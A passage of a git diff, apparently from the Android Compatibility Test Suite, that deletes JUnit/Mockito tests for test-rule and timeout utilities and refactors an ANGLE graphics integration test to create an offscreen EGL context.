-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-    }
-
-    @Test
-    public void testTestPass_oneRunnerFails_withDumper() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .setDumper(mDumper)
-                .run(mGoodGuyRunner1)
-                .run(() -> {
-                    throw mRuntimeException;
-                })
-                .run(mGoodGuyRunner2)
-                .add(mGoodGuyExtraExceptions1);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-        verify(mDumper).dump("Whatever", actualException);
-    }
-
-    @Test
-    public void testTestPass_oneExtraExceptionThrownAsCallable() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .run(mGoodGuyRunner1)
-                .add(mRuntimeException)
-                .add(mGoodGuyExtraExceptions1)
-                .run(mGoodGuyRunner2);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-    }
-
-    @Test
-    public void testTestPass_oneExtraExceptionThrown() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .run(mGoodGuyRunner1)
-                .add(() -> {
-                    return ImmutableList.of(mRuntimeException);
-                })
-                .add(mGoodGuyExtraExceptions1)
-                .run(mGoodGuyRunner2);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-    }
-
-    @Test
-    public void testTestPass_oneExtraExceptionThrown_withDumper() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .setDumper(mDumper)
-                .run(mGoodGuyRunner1)
-                .add(() -> { return ImmutableList.of(mRuntimeException); })
-                .add(mGoodGuyExtraExceptions1)
-                .run(mGoodGuyRunner2);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-        verify(mDumper).dump("Whatever", actualException);
-    }
-
-    @Test
-    public void testThrowTheKitchenSinkAKAEverybodyThrows() throws Throwable {
-        final Exception extra1 = new Exception("1");
-        final Exception extra2 = new Exception("2");
-        final Exception extra3 = new Exception("3");
-        final Error error1 = new Error("one");
-        final Error error2 = new Error("two");
-        final RuntimeException testException  = new RuntimeException("TEST, Y U NO PASS?");
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .run(mGoodGuyRunner1)
-                .add(mGoodGuyExtraExceptions1)
-                .add(mRuntimeException)
-                .add(() -> {
-                    return ImmutableList.of(extra1, extra2);
-                })
-                .run(() -> {
-                    throw error1;
-                })
-                .run(mGoodGuyRunner2)
-                .add(() -> {
-                    return ImmutableList.of(extra3);
-                })
-                .add(mGoodGuyExtraExceptions2)
-                .run(() -> {
-                    throw error2;
-                });
-
-        final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
-                SafeCleanerRule.MultipleExceptions.class,
-                () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
-        assertThat(actualException.getThrowables())
-                .containsExactly(testException, mRuntimeException, error1, error2, extra1, extra2,
-                        extra3)
-                .inOrder();
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-    }
-
-    @Test
-    public void testIgnoreAssumptionViolatedException() throws Throwable {
-        final AssumptionViolatedException ave = new AssumptionViolatedException(
-                "tis an assumption violation");
-        final RuntimeException testException  = new RuntimeException("TEST, Y U NO PASS?");
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .run(mGoodGuyRunner1)
-                .add(mRuntimeException)
-                .run(() -> {
-                    throw ave;
-                });
-
-        final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
-                SafeCleanerRule.MultipleExceptions.class,
-                () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
-        assertThat(actualException.getThrowables())
-                .containsExactly(testException, mRuntimeException)
-                .inOrder();
-        verify(mGoodGuyRunner1).run();
-    }
-
-    @Test
-    public void testThrowTheKitchenSinkAKAEverybodyThrows_withDumper() throws Throwable {
-        final Exception extra1 = new Exception("1");
-        final Exception extra2 = new Exception("2");
-        final Exception extra3 = new Exception("3");
-        final Exception extra4 = new Exception("4");
-        final Error error1 = new Error("one");
-        final Error error2 = new Error("two");
-        final RuntimeException testException  = new RuntimeException("TEST, Y U NO PASS?");
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .setDumper(mDumper)
-                .run(mGoodGuyRunner1)
-                .add(mGoodGuyExtraExceptions1)
-                .add(() -> {
-                    return ImmutableList.of(extra1, extra2);
-                })
-                .run(() -> {
-                    throw error1;
-                })
-                .run(mGoodGuyRunner2)
-                .add(() -> { return ImmutableList.of(extra3); })
-                .add(mGoodGuyExtraExceptions2)
-                .run(() -> {
-                    throw error2;
-                })
-                .run(() -> {
-                    throw extra4;
-                });
-
-        final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
-                SafeCleanerRule.MultipleExceptions.class,
-                () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
-        assertThat(actualException.getThrowables())
-                .containsExactly(testException, error1, error2, extra4, extra1, extra2, extra3)
-                .inOrder();
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-        verify(mDumper).dump("Whatever", actualException);
-    }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/StateChangerRuleTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/StateChangerRuleTest.java
deleted file mode 100644
index 9b1851e..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/StateChangerRuleTest.java
+++ /dev/null
@@ -1,173 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.ArgumentMatchers.anyString;
-import static org.mockito.Mockito.doThrow;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.verifyNoMoreInteractions;
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-import static org.testng.Assert.expectThrows;
-
-import org.junit.Test;
-import org.junit.runner.Description;
-import org.junit.runner.RunWith;
-import org.junit.runners.model.Statement;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-public class StateChangerRuleTest {
-
-    private final RuntimeException mRuntimeException = new RuntimeException("D'OH");
-    private final Description mDescription = Description.createSuiteDescription("Whatever");
-
-    @Mock
-    private StateManager<String> mStateManager;
-
-    @Mock
-    private Statement mStatement;
-
-    @Test
-    public void testInvalidConstructor() {
-        assertThrows(NullPointerException.class,
-                () -> new StateChangerRule<Object>(null, "value"));
-    }
-
-    @Test
-    public void testSetAndRestoreOnSuccess() throws Throwable {
-        final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
-                "newValue");
-        when(mStateManager.get()).thenReturn("before", "changed");
-
-        rule.apply(mStatement, mDescription).evaluate();
-
-        verify(mStatement, times(1)).evaluate();
-        verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
-        verify(mStateManager, times(1)).set("newValue");
-        verify(mStateManager, times(1)).set("before");
-        verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
-    }
-
-    @Test
-    public void testDontSetIfSameValueOnSuccess() throws Throwable {
-        final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
-                "sameValue");
-        when(mStateManager.get()).thenReturn("sameValue");
-
-        rule.apply(mStatement, mDescription).evaluate();
-
-        verify(mStatement, times(1)).evaluate();
-        verify(mStateManager, never()).set(anyString());
-    }
-
-    @Test
-    public void testSetButDontRestoreIfSameValueOnSuccess() throws Throwable {
-        final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
-                "newValue");
-        when(mStateManager.get()).thenReturn("before", "before");
-
-        rule.apply(mStatement, mDescription).evaluate();
-
-        verify(mStatement, times(1)).evaluate();
-        verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
-        verify(mStateManager, times(1)).set("newValue");
-        verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
-    }
-
-    @Test
-    public void testDontSetButRestoreIfValueChangedOnSuccess() throws Throwable {
-        final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
-                "sameValue");
-        when(mStateManager.get()).thenReturn("sameValue", "changed");
-
-        rule.apply(mStatement, mDescription).evaluate();
-
-        verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
-        verify(mStatement, times(1)).evaluate();
-        verify(mStateManager, times(1)).set("sameValue");
-        verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
-    }
-
-    @Test
-    public void testSetAndRestoreOnFailure() throws Throwable {
-        final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
-                "newValue");
-        when(mStateManager.get()).thenReturn("before", "changed");
-        doThrow(mRuntimeException).when(mStatement).evaluate();
-
-        final RuntimeException actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-
-        verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
-        verify(mStateManager, times(1)).set("newValue");
-        verify(mStateManager, times(1)).set("before");
-        verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
-    }
-
-    @Test
-    public void testDontSetIfSameValueOnFailure() throws Throwable {
-        final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
-                "sameValue");
-        when(mStateManager.get()).thenReturn("sameValue");
-        doThrow(mRuntimeException).when(mStatement).evaluate();
-
-        final RuntimeException actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-
-        verify(mStateManager, never()).set(anyString());
-    }
-
-    @Test
-    public void testSetButDontRestoreIfSameValueOnFailure() throws Throwable {
-        final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
-                "newValue");
-        when(mStateManager.get()).thenReturn("before", "before");
-        doThrow(mRuntimeException).when(mStatement).evaluate();
-
-        final RuntimeException actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-
-        verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
-        verify(mStateManager, times(1)).set("newValue");
-        verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
-    }
-
-    @Test
-    public void testDontSetButRestoreIfValueChangedOnFailure() throws Throwable {
-        final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
-                "sameValue");
-        when(mStateManager.get()).thenReturn("sameValue", "changed");
-        doThrow(mRuntimeException).when(mStatement).evaluate();
-
-        final RuntimeException actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-
-        verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
-        verify(mStateManager, times(1)).set("sameValue");
-        verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
-    }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/StateKeeperRuleTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/StateKeeperRuleTest.java
deleted file mode 100644
index 4599aca..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/StateKeeperRuleTest.java
+++ /dev/null
@@ -1,107 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.ArgumentMatchers.anyString;
-import static org.mockito.Mockito.doThrow;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.verifyNoMoreInteractions;
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-import static org.testng.Assert.expectThrows;
-
-import org.junit.Test;
-import org.junit.runner.Description;
-import org.junit.runner.RunWith;
-import org.junit.runners.model.Statement;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-public class StateKeeperRuleTest {
-
-    private final RuntimeException mRuntimeException = new RuntimeException("D'OH");
-    private final Description mDescription = Description.createSuiteDescription("Whatever");
-
-    @Mock
-    private StateManager<String> mStateManager;
-
-    @Mock
-    private Statement mStatement;
-
-    @Test
-    public void testInvalidConstructor() {
-        assertThrows(NullPointerException.class, () -> new StateKeeperRule<Object>(null));
-    }
-
-    @Test
-    public void testRestoreOnSuccess() throws Throwable {
-        final StateKeeperRule<String> rule = new StateKeeperRule<>(mStateManager);
-        when(mStateManager.get()).thenReturn("before", "changed");
-
-        rule.apply(mStatement, mDescription).evaluate();
-
-        verify(mStatement, times(1)).evaluate();
-        verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
-        verify(mStateManager, times(1)).set("before");
-        verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
-    }
-
-    @Test
-    public void testRestoreOnFailure() throws Throwable {
-        final StateKeeperRule<String> rule = new StateKeeperRule<>(mStateManager);
-        when(mStateManager.get()).thenReturn("before", "changed");
-        doThrow(mRuntimeException).when(mStatement).evaluate();
-
-        final RuntimeException actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mStatement, mDescription).evaluate());
-
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
-        verify(mStateManager, times(1)).set("before");
-        verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
-    }
-
-    @Test
-    public void testDoNotRestoreWhenNotChanged() throws Throwable {
-        final StateKeeperRule<String> rule = new StateKeeperRule<>(mStateManager);
-        when(mStateManager.get()).thenReturn("not_changed");
-
-        rule.apply(mStatement, mDescription).evaluate();
-
-        verify(mStatement, times(1)).evaluate();
-        verify(mStateManager, never()).set(anyString());
-    }
-
-    @Test
-    public void testDoNotRestoreOnFailure() throws Throwable {
-        final StateKeeperRule<String> rule = new StateKeeperRule<>(mStateManager);
-        when(mStateManager.get()).thenReturn("not_changed");
-        doThrow(mRuntimeException).when(mStatement).evaluate();
-
-        final RuntimeException actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mStatement, mDescription).evaluate());
-
-        assertThat(actualException).isSameAs(mRuntimeException);
-
-        verify(mStateManager, never()).set(anyString());
-    }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/TimeoutTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/TimeoutTest.java
deleted file mode 100644
index 8992d18..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/TimeoutTest.java
+++ /dev/null
@@ -1,146 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-import static org.testng.Assert.expectThrows;
-
-import android.os.SystemClock;
-
-import com.android.compatibility.common.util.Timeout.Sleeper;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-import java.util.concurrent.Callable;
-
-@RunWith(MockitoJUnitRunner.class)
-public class TimeoutTest {
-
-    private static final String NAME = "TIME, Y U NO OUT?";
-    private static final String DESC = "something";
-
-    @Mock
-    private Callable<Object> mJob;
-
-    private final MySleeper mSleeper = new MySleeper();
-
-    @Test
-    public void testInvalidConstructor() {
-        // Invalid name
-        assertThrows(IllegalArgumentException.class, ()-> new Timeout(null, 1, 2, 2));
-        assertThrows(IllegalArgumentException.class, ()-> new Timeout("", 1, 2, 2));
-        // Invalid initial value
-        assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, -1, 2, 2));
-        assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, 0, 2, 2));
-        // Invalid multiplier
-        assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, 1, -1, 2));
-        assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, 1, 0, 2));
-        assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, 1, 1, 2));
-        // Invalid max value
-        assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, 1, 2, -1));
-        assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, 1, 2, 0));
-        // Max value cannot be less than initial
-        assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, 2, 2, 1));
-    }
-
-    @Test
-    public void testGetters() {
-        final Timeout timeout = new Timeout(NAME, 1, 2, 5);
-        assertThat(timeout.ms()).isEqualTo(1);
-        assertFloat(timeout.getMultiplier(), 2);
-        assertThat(timeout.getMaxValue()).isEqualTo(5);
-        assertThat(timeout.getName()).isEqualTo(NAME);
-    }
-
-    @Test
-    public void testIncrease() {
-        final Timeout timeout = new Timeout(NAME, 1, 2, 5);
-        // Pre-maximum
-        assertThat(timeout.increase()).isEqualTo(1);
-        assertThat(timeout.ms()).isEqualTo(2);
-        assertThat(timeout.increase()).isEqualTo(2);
-        assertThat(timeout.ms()).isEqualTo(4);
-        // Post-maximum
-        assertThat(timeout.increase()).isEqualTo(4);
-        assertThat(timeout.ms()).isEqualTo(5);
-        assertThat(timeout.increase()).isEqualTo(5);
-        assertThat(timeout.ms()).isEqualTo(5);
-    }
-
-    @Test
-    public void testRun_invalidArgs() {
-        final Timeout timeout = new Timeout(NAME, 1, 2, 5);
-        // Invalid description
-        assertThrows(IllegalArgumentException.class, ()-> timeout.run(null, mJob));
-        assertThrows(IllegalArgumentException.class, ()-> timeout.run("", mJob));
-        // Invalid max attempts
-        assertThrows(IllegalArgumentException.class, ()-> timeout.run(DESC, -1, mJob));
-        assertThrows(IllegalArgumentException.class, ()-> timeout.run(DESC, 0, mJob));
-        // Invalid job
-        assertThrows(IllegalArgumentException.class, ()-> timeout.run(DESC, null));
-    }
-
-    @Test
-    public void testRun_successOnFirstAttempt() throws Exception {
-        final Timeout timeout = new Timeout(mSleeper, NAME, 100, 2, 500);
-        final Object result = new Object();
-        when(mJob.call()).thenReturn(result);
-        assertThat(timeout.run(DESC, 1, mJob)).isSameAs(result);
-        assertThat(mSleeper.totalSleepingTime).isEqualTo(0);
-    }
-
-    @Test
-    public void testRun_successOnSecondAttempt() throws Exception {
-        final Timeout timeout = new Timeout(mSleeper, NAME, 100, 2, 500);
-        final Object result = new Object();
-        when(mJob.call()).thenReturn((Object) null, result);
-        assertThat(timeout.run(DESC, 10, mJob)).isSameAs(result);
-        assertThat(mSleeper.totalSleepingTime).isEqualTo(10);
-    }
-
-    @Test
-    public void testRun_allAttemptsFailed() throws Exception {
-        final Timeout timeout = new Timeout(mSleeper, NAME, 100, 2, 500);
-        final RetryableException e = expectThrows(RetryableException.class,
-                () -> timeout.run(DESC, 10, mJob));
-        assertThat(e.getMessage()).contains(DESC);
-        assertThat(e.getTimeout()).isSameAs(timeout);
-        assertThat(mSleeper.totalSleepingTime).isEqualTo(100);
-    }
-
-    private static final class MySleeper implements Sleeper {
-        public long totalSleepingTime;
-
-        @Override
-        public void sleep(long napTimeMs) {
-            // We still need to sleep, as the retry is based on ellapsed time. We could use a
-            // Mockito spy, but let's keep it simple
-            SystemClock.sleep(napTimeMs);
-            totalSleepingTime += napTimeMs;
-        }
-    }
-
-    public static void assertFloat(float actualValue, float expectedValue) {
-        assertThat(actualValue).isWithin(1.0e-10f).of(expectedValue);
-    }
-}
diff --git a/hostsidetests/abioverride/AndroidTest.xml b/hostsidetests/abioverride/AndroidTest.xml
index be3e818..edb3122 100644
--- a/hostsidetests/abioverride/AndroidTest.xml
+++ b/hostsidetests/abioverride/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="webview" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAbiOverrideTestApp.apk" />
diff --git a/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/AngleIntegrationTestActivity.java b/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/AngleIntegrationTestActivity.java
deleted file mode 100644
index e167176..0000000
--- a/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/AngleIntegrationTestActivity.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.angleIntegrationTest.common;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.util.Log;
-
-import java.lang.Override;
-
-public class AngleIntegrationTestActivity extends Activity {
-
-    private final String TAG = this.getClass().getSimpleName();
-
-    private GlesView mGlesView;
-
-    @Override
-    public void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-
-        mGlesView = new GlesView(this);
-        setContentView(mGlesView);
-
-        Log.i(TAG, "ANGLE Manifest activity complete");
-    }
-
-    public GlesView getGlesView() {
-        return mGlesView;
-    }
-}
diff --git a/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java b/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java
index d0fbe58..f1c053f 100644
--- a/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java
+++ b/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java
@@ -19,14 +19,10 @@
 import static javax.microedition.khronos.egl.EGL10.EGL_STENCIL_SIZE;
 
 import android.annotation.TargetApi;
-import android.content.Context;
 import android.opengl.EGL14;
 import android.opengl.GLES20;
-import android.opengl.GLSurfaceView;
 import android.os.Build.VERSION_CODES;
 import android.util.Log;
-import android.view.SurfaceHolder;
-import android.view.SurfaceView;
 import javax.microedition.khronos.egl.EGL10;
 import javax.microedition.khronos.egl.EGLConfig;
 import javax.microedition.khronos.egl.EGLContext;
@@ -38,28 +34,21 @@
  */
 
 @TargetApi(VERSION_CODES.GINGERBREAD)
-public class GlesView extends SurfaceView implements SurfaceHolder.Callback2 {
+public class GlesView {
 
     private static final EGL10 EGL = (EGL10) EGLContext.getEGL();
-    private EGLConfig eglConfig;
-    private EGLDisplay display;
-    private SurfaceHolder mSurfaceHolder;
     private String mRenderer = "";
 
     private final String TAG = this.getClass().getSimpleName();
 
-    public GlesView(Context context) {
-      super(context);
-      this.setWillNotDraw(false);
-      getHolder().addCallback(this);
-      createEGL();
-      getHolder().getSurface();
+    public GlesView() {
+        createEGL();
     }
 
     @TargetApi(VERSION_CODES.JELLY_BEAN_MR1)
     private void createEGL() {
         int[] version = new int[2];
-        display = EGL.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
+        EGLDisplay display = EGL.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
         EGL.eglInitialize(display, version);
 
         int[] numConfigs = new int[1];
@@ -68,7 +57,7 @@
         EGL.eglGetConfigs(display, allConfigs, numConfigs[0], numConfigs);
 
         int[] configAttrib =
-            new int[] {
+            new int[]{
                 EGL10.EGL_RENDERABLE_TYPE,
                 EGL14.EGL_OPENGL_ES2_BIT,
                 EGL10.EGL_SURFACE_TYPE,
@@ -90,6 +79,7 @@
 
         EGLConfig[] selectedConfig = new EGLConfig[1];
         EGL.eglChooseConfig(display, configAttrib, selectedConfig, 1, numConfigs);
+        EGLConfig eglConfig;
         if (selectedConfig[0] != null) {
             eglConfig = selectedConfig[0];
             Log.i(TAG, "Found matching EGL config");
@@ -97,33 +87,35 @@
             Log.e(TAG, "Could not find matching EGL config");
             throw new RuntimeException("No Matching EGL Config Found");
         }
-    }
 
-    @TargetApi(VERSION_CODES.JELLY_BEAN_MR1)
-    @Override
-    public void surfaceCreated(SurfaceHolder holder) {
-      EGLSurface surface = EGL.eglCreateWindowSurface(display, eglConfig, this, null);
-        int[] contextAttribs = new int[] {EGL14.EGL_CONTEXT_CLIENT_VERSION, 2, EGL10.EGL_NONE};
-      EGLContext context = EGL
-          .eglCreateContext(display, eglConfig, EGL10.EGL_NO_CONTEXT, contextAttribs);
+        EGLSurface surface = EGL.eglCreatePbufferSurface(display, eglConfig, null);
+        int[] contextAttribs = new int[]{EGL14.EGL_CONTEXT_CLIENT_VERSION, 2, EGL10.EGL_NONE};
+        EGLContext context = EGL
+            .eglCreateContext(display, eglConfig, EGL10.EGL_NO_CONTEXT, contextAttribs);
         EGL.eglMakeCurrent(display, surface, surface, context);
 
         Log.i(TAG, "CTS ANGLE Test :: GLES GL_VENDOR   : " + GLES20.glGetString(GLES20.GL_VENDOR));
         Log.i(TAG, "CTS ANGLE Test :: GLES GL_VERSION  : " + GLES20.glGetString(GLES20.GL_VERSION));
-        Log.i(TAG, "CTS ANGLE Test :: GLES GL_RENDERER : " + GLES20.glGetString(GLES20.GL_RENDERER));
+        Log.i(TAG,
+            "CTS ANGLE Test :: GLES GL_RENDERER : " + GLES20.glGetString(GLES20.GL_RENDERER));
         mRenderer = GLES20.glGetString(GLES20.GL_RENDERER);
     }
 
-    @Override
-    public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {}
-
-    @Override
-    public void surfaceDestroyed(SurfaceHolder holder) {}
-
-    @Override
-    public void surfaceRedrawNeeded(SurfaceHolder holder) {}
-
     public String getRenderer() {
         return mRenderer;
     }
+
+    public boolean validateDeveloperOption(boolean angleEnabled)  {
+        if (angleEnabled) {
+            if (!mRenderer.toLowerCase().contains("angle")) {
+                return false;
+            }
+        } else {
+            if (mRenderer.toLowerCase().contains("angle")) {
+                return false;
+            }
+        }
+
+        return true;
+    }
 }
diff --git a/hostsidetests/angle/app/driverTest/src/com/android/angleIntegrationTest/driverTest/AngleDriverTestActivity.java b/hostsidetests/angle/app/driverTest/src/com/android/angleIntegrationTest/driverTest/AngleDriverTestActivity.java
index bb98488..450461a 100644
--- a/hostsidetests/angle/app/driverTest/src/com/android/angleIntegrationTest/driverTest/AngleDriverTestActivity.java
+++ b/hostsidetests/angle/app/driverTest/src/com/android/angleIntegrationTest/driverTest/AngleDriverTestActivity.java
@@ -18,13 +18,10 @@
 
 import static org.junit.Assert.fail;
 
-import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.angleIntegrationTest.common.AngleIntegrationTestActivity;
 import com.android.angleIntegrationTest.common.GlesView;
 
-import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -33,29 +30,18 @@
 
     private final String TAG = this.getClass().getSimpleName();
 
-    @Rule
-    public ActivityTestRule<AngleIntegrationTestActivity> rule =
-            new ActivityTestRule<>(AngleIntegrationTestActivity.class);
-
     private void validateDeveloperOption(boolean angleEnabled) throws Exception {
-        AngleIntegrationTestActivity activity = rule.getActivity();
-        GlesView glesView = activity.getGlesView();
-        String renderer = glesView.getRenderer();
+        GlesView glesView = new GlesView();
 
-        while(renderer.length() == 0) {
-            renderer = glesView.getRenderer();
-        }
-
-        if (angleEnabled) {
